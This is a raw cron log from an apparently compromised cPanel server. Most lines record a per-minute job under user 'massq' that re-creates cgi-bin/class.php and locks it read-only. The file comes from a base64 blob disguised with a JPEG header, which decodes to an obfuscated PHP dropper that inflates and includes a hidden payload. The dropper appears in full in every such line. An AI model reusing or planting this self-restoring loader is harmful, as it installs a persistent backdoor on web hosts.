Nov 14 00:15:01 server CROND[20631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:15:01 server CROND[20634]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:15:01 server CROND[20635]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:16:01 server CROND[21492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:17:01 server CROND[22350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:18:01 server CROND[23304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:19:01 server CROND[24172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:20:01 server CROND[25101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:20:01 server CROND[25103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:20:01 server CROND[25105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:20:01 server CROND[25104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:20:01 server CROND[25107]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 00:21:01 server CROND[26034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:22:01 server CROND[26887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:23:01 server CROND[27844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:24:01 server CROND[28757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:25:01 server CROND[29431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:25:01 server CROND[29433]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:25:01 server CROND[29434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:25:01 server CROND[29436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:26:01 server CROND[30375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:27:02 server CROND[31282]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:27:02 server CROND[31283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
